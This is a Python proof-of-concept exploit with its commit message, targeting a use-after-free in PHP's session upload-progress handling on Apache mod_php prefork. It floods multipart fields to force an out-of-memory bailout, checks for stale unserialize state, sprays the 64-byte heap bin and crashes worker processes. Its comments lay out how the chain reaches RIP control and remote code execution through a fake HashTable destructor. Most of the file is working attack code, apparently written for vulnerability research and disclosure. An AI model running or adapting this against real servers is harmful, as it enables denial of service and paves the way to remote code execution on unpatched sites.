Files
php2shell/uaf-rce/exploit.py
T
neko a5396a6ab0 Fix UAF exploit to use confirmed two-request OOM approach
The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.

The corrected flow:
  Phase 1: Create ~500KB session file via large upload progress value
  Phase 2: Fill memory with fields, then file upload triggers session
           re-init which OOMs during unserialize of the large session
  Phase 3: Verify stale BG(unserialize) state on the surviving worker

Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
2026-10-21 22:17:29 +00:00

703 lines
25 KiB
Python

#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
PHP 5.4.0 through 8.5.11 on Apache mod_php.
Attack overview:
Phase 1 (Prep): Create a large session file (~500KB) by sending a
multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
progress handler writes the session file containing the large key.
Phase 2 (OOM): Send a second request with form fields that fill memory
to near the limit, followed by a file upload that triggers the progress
handler. The handler calls php_session_initialize() which reads the
500KB session file. php_session_decode() calls php_var_unserialize(),
which calls php_var_unserialize_init(), setting BG(unserialize).level=1
and allocating BG(unserialize).data (64 bytes). The unserialize of
the 500KB session key string triggers OOM. zend_bailout() longjmps
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
and .data pointing to freed memory.
The Apache prefork worker survives the bailout and accepts new
connections. The stale BG globals persist.
Phase 3 (Verify): Send a third request with a file upload to the same
worker. The progress handler calls php_session_decode() again.
php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
increments it, and returns the stale .data pointer. This is the UAF:
the pointer was freed when the previous request's heap was destroyed,
and now references memory in the new request's heap.
Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
controlled data into the 64-byte ZendMM bin to reclaim the stale
slot. The serialize code treats the spray data as a php_serialize_data
struct with a HashTable. pDestructor (offset 48) is called during
zend_hash_destroy(), giving RIP control.
Root cause (from var.c, PHP 8.3.6):
php_var_serialize_init():
if (BG(serialize).level > 0) {
d = BG(serialize).data; // reuses stale pointer!
++BG(serialize).level;
return d;
}
// else: fresh allocation
The same pattern exists for unserialize.
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
BG(serialize/unserialize) state before each request, and replaces
zend_bailout() on OOM with delayed error handling.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields
- Any PHP URL on the vhost (even 404)
- No LFI, no framework, no non-default settings
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
python3 exploit.py --target http://host:port/index.php --crash-test
"""
import argparse
import os
import re
import socket
import subprocess
import sys
import time
from urllib.parse import urlparse
# ── Networking ──────────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=5):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_multipart(host, port, path, boundary, body, cookies=None,
timeout=30):
sock = connect(host, port, timeout=timeout)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if cookies:
headers += f"Cookie: {cookies}\r\n"
headers += "Connection: close\r\n\r\n"
sock.sendall(headers.encode() + body)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Multipart body builders ───────────────────────────────────────────
def build_multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def build_multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
# ── Phase 0: Worker discovery ────────────────────────────────────────
def find_workers(host, port, path, rounds=40):
pids = set()
for _ in range(rounds):
try:
status, body = http_get(host, port, path)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout):
pass
return sorted(pids)
# ── Phase 1: Create large session file ────────────────────────────────
def build_prep_body(boundary, progress_value):
"""
Multipart body with:
1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
2. Small file upload (triggers progress handler)
The progress handler writes the session file containing the large
progress key. No OOM here; just creating the session file.
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
))
parts.append(build_multipart_file(
boundary, b"f", b"prep.bin", b"\x00" * 4096,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def create_large_session(host, port, path, sid, progress_size=500000):
"""
Send a multipart POST that creates a session file containing a large
key (from PHP_SESSION_UPLOAD_PROGRESS).
Returns (status, body, pid).
"""
progress_val = b"A" * progress_size
boundary = b"PREP" + os.urandom(4).hex().encode()
body = build_prep_body(boundary, progress_val)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30,
)
pid = extract_pid(rbody)
return status, rbody, pid
# ── Phase 2: OOM during session re-init ───────────────────────────────
def build_oom_body(boundary, num_fields, field_size):
"""
Multipart body with:
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
2. Large form fields (fill memory to near limit)
3. File upload (triggers progress handler)
The progress handler calls php_session_initialize() which reads the
large session file from Phase 1. php_session_decode() calls
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
unserialize the ~500KB session key string. The emalloc for the
zend_string exceeds memory_limit -> OOM -> zend_bailout().
php_var_unserialize_destroy() is skipped. BG(unserialize).level
stays at 1 and .data points to freed memory.
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
))
for i in range(num_fields):
parts.append(build_multipart_field(
boundary, f"p{i:04d}".encode(), b"X" * field_size,
))
parts.append(build_multipart_file(
boundary, b"f", b"oom.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def detect_memory_limit(host, port, path):
"""
Probe memory_limit by escalating field count until OOM.
Returns (num_fields, field_size) that triggers OOM, or None.
"""
configs = [
(50, 40960),
(100, 40960),
(120, 40960),
(140, 40960),
(150, 40960),
(200, 40960),
(300, 40960),
(400, 40960),
(600, 40960),
(800, 40960),
(999, 40960),
(999, 131072),
]
for num, size in configs:
sid = "probe" + os.urandom(4).hex()
boundary = b"PROBE" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, num, size)
try:
status, _ = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=30,
)
if status == 500:
return num, size
except (ConnectionError, socket.timeout):
return num, size
return None
def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
"""
Send the OOM request. Uses the same SID as Phase 1, so the progress
handler reads the large session file and OOMs during unserialize.
Returns (status, body).
"""
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
body = build_oom_body(boundary, num_fields, field_size)
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=timeout,
)
return status, rbody
# ── Phase 3: Verify stale BG state ──────────────────────────────────
def build_verify_body(boundary):
"""
Small multipart with upload progress. Triggers the progress handler
on the OOM'd worker. If BG(unserialize).level is stale, the handler
reuses the freed .data pointer (UAF).
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
))
parts.append(build_multipart_file(
boundary, b"f", b"v.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def verify_stale_state(host, port, path, sid):
"""
Send a verification request. If the worker has stale BG state,
php_var_unserialize_init() reuses the freed .data pointer.
Returns (status, pid, body).
"""
boundary = b"VERIFY" + os.urandom(4).hex().encode()
body = build_verify_body(boundary)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10,
)
pid = extract_pid(rbody)
return status, pid, rbody
except (ConnectionError, socket.timeout) as e:
return 0, 0, str(e).encode()
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
# ZendMM 64-byte bin:
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
# zend_string: 24-byte header + body + 1 NUL
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
SPRAY_NAME_LEN = 39
def build_spray_body(boundary, spray_count=500):
"""
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
as BG(unserialize).data). Over multiple requests, one of these
allocations may reclaim the stale slot.
For a weaponized exploit, the spray content would form a fake
php_unserialize_data struct with controlled HashTable fields:
offset 0: uint32_t n (reference counter)
offset 8: HashTable ht
offset 16: Bucket *arData (attacker pointer)
offset 48: dtor_func_t pDestructor (RIP control)
"""
parts = []
parts.append(build_multipart_field(
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
))
for i in range(min(spray_count, 999)):
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
val = "B" * SPRAY_NAME_LEN
parts.append(build_multipart_field(
boundary, name.encode(), val.encode(),
))
parts.append(build_multipart_file(
boundary, b"f", b"spray.bin", b"\x00" * 1024,
))
parts.append(b"--" + boundary + b"--\r\n")
return b"".join(parts)
def heap_spray(host, port, path, sid, target_pid, rounds=10,
spray_per_round=500):
"""
Spray 64-byte allocations into the OOM'd worker to reclaim the
stale BG(unserialize).data slot.
Returns the number of rounds that hit the target worker.
"""
hits = 0
for r in range(rounds):
boundary = b"SPRAY" + os.urandom(4).hex().encode()
body = build_spray_body(boundary, spray_per_round)
try:
status, rbody = http_post_multipart(
host, port, path, boundary.decode(), body,
cookies=f"PHPSESSID={sid}", timeout=10,
)
pid = extract_pid(rbody)
if pid == target_pid:
hits += 1
except (ConnectionError, socket.timeout):
pass
return hits
# ── Session file inspection ──────────────────────────────────────────
def check_session_file(sid, save_path="/tmp"):
"""
Read the session file. Returns (exists, size, data_preview).
"""
path = os.path.join(save_path, f"sess_{sid}")
try:
with open(path, "rb") as f:
data = f.read()
return True, len(data), data[:300]
except PermissionError:
try:
result = subprocess.run(
["sudo", "cat", path],
capture_output=True, timeout=5,
)
data = result.stdout
if data:
return True, len(data), data[:300]
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return True, 0, b"(permission denied)"
except FileNotFoundError:
return False, 0, b""
# ── Main ─────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument(
"--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php",
)
parser.add_argument(
"--session-path", default="/var/www/uaf-test/sessions",
help="Session save_path on the target",
)
parser.add_argument(
"--progress-size", type=int, default=500000,
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
)
parser.add_argument(
"--oom-fields", type=int, default=0,
help="Number of OOM fields (0 = auto-detect)",
)
parser.add_argument(
"--field-size", type=int, default=40960,
help="OOM field value size in bytes (default: 40960)",
)
parser.add_argument(
"--spray-rounds", type=int, default=20,
help="Number of heap spray rounds (default: 20)",
)
parser.add_argument(
"--oom-only", action="store_true",
help="Stop after Phase 2 (OOM + stale state), skip spray",
)
parser.add_argument(
"--crash-test", action="store_true",
help="Run full chain including heap spray and report crashes",
)
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ───────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = find_workers(host, port, path)
if not pids:
print("[-] No workers found. Target must echo getmypid() in output.")
sys.exit(1)
print(f" Workers: {pids}")
print(f" Count: {len(pids)} (Apache prefork children)")
# ── Phase 1: Create large session file ──────────────────────────
print()
print("[*] Phase 1: Creating large session file...")
sid = "uaf" + os.urandom(6).hex()
progress_kb = args.progress_size // 1024
print(f" SID: {sid}")
print(f" Progress value: {progress_kb}KB")
status1, body1, pid1 = create_large_session(
host, port, path, sid, args.progress_size,
)
print(f" Status: {status1}, Worker PID: {pid1}")
exists, size, preview = check_session_file(sid, args.session_path)
if not exists or size < 1000:
print(f"[-] Session file missing or too small ({size}B).")
print(f" Is session.upload_progress.enabled=1?")
print(f" Is session.save_path = {args.session_path}?")
sys.exit(1)
print(f" [+] Session file: {size}B ({size//1024}KB)")
print(f" Preview: {preview[:120]}")
# ── Phase 2: OOM during session re-init ─────────────────────────
print()
print("[*] Phase 2: OOM during session unserialize...")
if args.oom_fields:
num_fields = args.oom_fields
field_size = args.field_size
print(f" Using configured: {num_fields} fields x {field_size}B")
else:
print(" Auto-detecting OOM threshold...")
result = detect_memory_limit(host, port, path)
if result is None:
print("[-] Could not trigger OOM. memory_limit may be too high.")
print(" Try --oom-fields manually.")
sys.exit(1)
num_fields, field_size = result
est_mb = num_fields * field_size / 1024 / 1024
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
# Reduce field count slightly so memory fills close to the limit
# but doesn't OOM before the file upload triggers the progress
# handler. The session re-read of the ~500KB file pushes over.
adjusted = max(num_fields - 10, num_fields * 9 // 10)
print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
max_oom_attempts = len(pids) * 6
oom_workers = set()
for attempt in range(max_oom_attempts):
status, _ = trigger_oom(
host, port, path, sid, adjusted, field_size,
)
if status == 500:
print(f" [{attempt+1}] OOM triggered (status 500)")
elif status == 0:
print(f" [{attempt+1}] Connection error (worker may have crashed)")
else:
print(f" [{attempt+1}] status={status} (no OOM)")
continue
time.sleep(0.3)
pids_after = find_workers(host, port, path)
survived = set(pids) & set(pids_after)
new_workers = set(pids_after) - set(pids)
for pid in survived:
if pid not in oom_workers:
oom_workers.add(pid)
print(f" [+] Worker {pid} survived OOM (stale BG state)")
if new_workers:
print(f" New workers: {sorted(new_workers)}")
pids = sorted(set(pids) | new_workers)
if not oom_workers:
print()
print("[-] No workers survived OOM.")
print(" This target may use PHP-FPM (workers exit on bailout).")
sys.exit(1)
print(f"\n Survived workers: {sorted(oom_workers)}")
# Check if session file still has the large content (unchanged
# means OOM happened during session re-init, not after flush)
exists2, size2, preview2 = check_session_file(sid, args.session_path)
if exists2 and abs(size2 - size) < 100:
print(f" [+] Session file unchanged ({size2}B)")
print(f" OOM during session re-init confirmed")
# ── Phase 3: Verify stale BG state ──────────────────────────────
print()
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
verified_pids = set()
for attempt in range(len(pids) * 4):
status, pid, body = verify_stale_state(host, port, path, sid)
if pid in oom_workers and pid not in verified_pids:
if status == 0:
print(f" [+] Worker {pid} CRASHED on verification request!")
print(f" UAF triggered: stale .data pointer dereferenced")
verified_pids.add(pid)
elif status == 500:
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
print(f" Stale BG state confirmed (session still active)")
verified_pids.add(pid)
elif status == 200:
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
print(f" UAF window open: .data points into reused heap")
verified_pids.add(pid)
if verified_pids >= oom_workers:
break
if not verified_pids:
print(" Could not hit OOM'd workers for verification.")
print(" (May need more attempts with more workers)")
if args.oom_only:
print()
print("[*] --oom-only: stopping after Phase 3.")
print_summary(oom_workers, verified_pids, False)
return
# ── Phase 4: Heap spray + UAF trigger ───────────────────────────
if args.crash_test:
print()
print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
for target_pid in sorted(oom_workers):
if target_pid not in find_workers(host, port, path):
print(f" Worker {target_pid} already gone, skipping")
continue
print(f"\n Spraying worker {target_pid}...")
spray_sid = "spray" + os.urandom(5).hex()
hits = heap_spray(
host, port, path, spray_sid, target_pid,
rounds=args.spray_rounds,
)
print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
print(f" Triggering UAF...")
for t in range(20):
status, pid, body = verify_stale_state(
host, port, path, sid,
)
if pid == target_pid:
if status == 0:
print(f" [!] CRASH on trigger {t+1}!")
break
elif status >= 500:
print(f" Trigger {t+1}: status {status} on target")
pids_check = find_workers(host, port, path)
if target_pid not in pids_check:
print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
print(f" Current workers: {pids_check}")
else:
print(f" Worker {target_pid} still alive (no crash)")
print(f" Expected: precise heap feng shui needed for crash")
print()
print_summary(oom_workers, verified_pids, args.crash_test)
def print_summary(oom_workers, verified_pids, ran_spray):
print("=" * 64)
print(" Results")
print("=" * 64)
print()
print(" Confirmed primitives:")
print(f" [+] OOM via multipart field flood")
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
print(f" [+] Large session file creation via upload progress")
print(f" [+] OOM during session re-init (unserialize of large key)")
if verified_pids:
print(f" [+] Stale BG(unserialize) state across requests")
print(f" [+] UAF window: freed .data pointer reused by next request")
print()
print(" For full RCE (not implemented), a weaponized exploit needs:")
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
print(" (stale session data leaks freed heap addresses)")
print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
print()
if not ran_spray:
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
if __name__ == "__main__":
main()